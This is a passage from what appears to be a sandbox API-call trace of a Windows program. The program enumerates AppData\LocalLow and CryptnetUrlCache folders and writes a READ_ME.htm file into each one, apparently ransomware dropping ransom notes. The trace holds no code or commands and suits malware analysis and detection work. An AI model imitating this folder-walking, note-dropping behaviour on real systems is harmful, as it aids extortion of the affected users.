(normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0143.418] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.418] SetErrorMode (uMode=0x0) returned 0x1 [0143.418] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache", lpFilePart=0x0) returned 0x3c [0143.418] SetErrorMode (uMode=0x1) returned 0x0 [0143.419] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0143.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 1 [0143.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MetaData", cAlternateFileName="")) returned 0 [0143.420] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.420] SetErrorMode (uMode=0x0) returned 0x1 [0143.420] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x44 [0143.420] SetErrorMode (uMode=0x1) returned 0x0 [0143.420] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0143.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0143.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 0 [0143.423] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.423] SetErrorMode (uMode=0x0) returned 0x1 [0143.423] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content", lpFilePart=0x0) returned 0x44 [0143.423] SetErrorMode (uMode=0x1) returned 0x0 [0143.423] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b57a40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0143.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0143.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 0 [0143.424] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.424] SetErrorMode (uMode=0x0) returned 0x1 [0143.425] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0143.425] SetErrorMode (uMode=0x1) returned 0x0 [0143.425] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.425] GetFileType (hFile=0x1d0) returned 0x1 [0143.425] SetErrorMode (uMode=0x0) returned 0x1 [0143.426] GetFileType (hFile=0x1d0) returned 0x1 [0143.426] WriteFile (in: hFile=0x1d0, lpBuffer=0x299d3f8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x299d3f8*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0143.427] CloseHandle (hObject=0x1d0) returned 1 [0143.428] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x45 [0143.428] SetErrorMode (uMode=0x1) returned 0x0 [0143.428] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.428] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.429] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0143.429] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0143.429] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 0 [0143.429] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.429] SetErrorMode (uMode=0x0) returned 0x1 [0143.430] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x45 [0143.430] SetErrorMode (uMode=0x1) returned 0x0 [0143.430] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0143.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0143.431] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62b318e0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 0 [0143.431] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.432] SetErrorMode (uMode=0x0) returned 0x1 [0143.432] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0143.432] SetErrorMode (uMode=0x1) returned 0x0 [0143.432] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.433] GetFileType (hFile=0x1d0) returned 0x1 [0143.433] SetErrorMode (uMode=0x0) returned 0x1 [0143.433] GetFileType (hFile=0x1d0) returned 0x1 [0143.433] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a3c30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29a3c30*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0143.434] CloseHandle (hObject=0x1d0) returned 1 [0143.434] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\READ_ME.htm", lpFilePart=0x0) returned 0x48 [0143.434] SetErrorMode (uMode=0x1) returned 0x0 [0143.434] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.435] GetFileType (hFile=0x1d0) returned 0x1 [0143.435] SetErrorMode (uMode=0x0) returned 0x1 [0143.435] GetFileType (hFile=0x1d0) returned 0x1 [0143.435] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a8220*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29a8220*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0143.436] CloseHandle (hObject=0x1d0) returned 1 [0143.437] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\READ_ME.htm", lpFilePart=0x0) returned 0x37 [0143.437] SetErrorMode (uMode=0x1) returned 0x0 [0143.437] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.437] GetFileType (hFile=0x1d0) returned 0x1 [0143.437] SetErrorMode (uMode=0x0) returned 0x1 [0143.437] GetFileType (hFile=0x1d0) returned 0x1 [0143.438] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ac7c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29ac7c0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0143.439] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\LocalLow\\READ_ME.htm", lpFilePart=0x0) returned 0x2d [0143.439] SetErrorMode (uMode=0x1) returned 0x0 [0143.439] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\locallow\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.440] GetFileType (hFile=0x1d0) returned 0x1 [0143.440] SetErrorMode (uMode=0x0) returned 0x1 [0143.440] GetFileType (hFile=0x1d0) returned 0x1 [0143.440] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b0d40*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29b0d40*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0143.442] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: 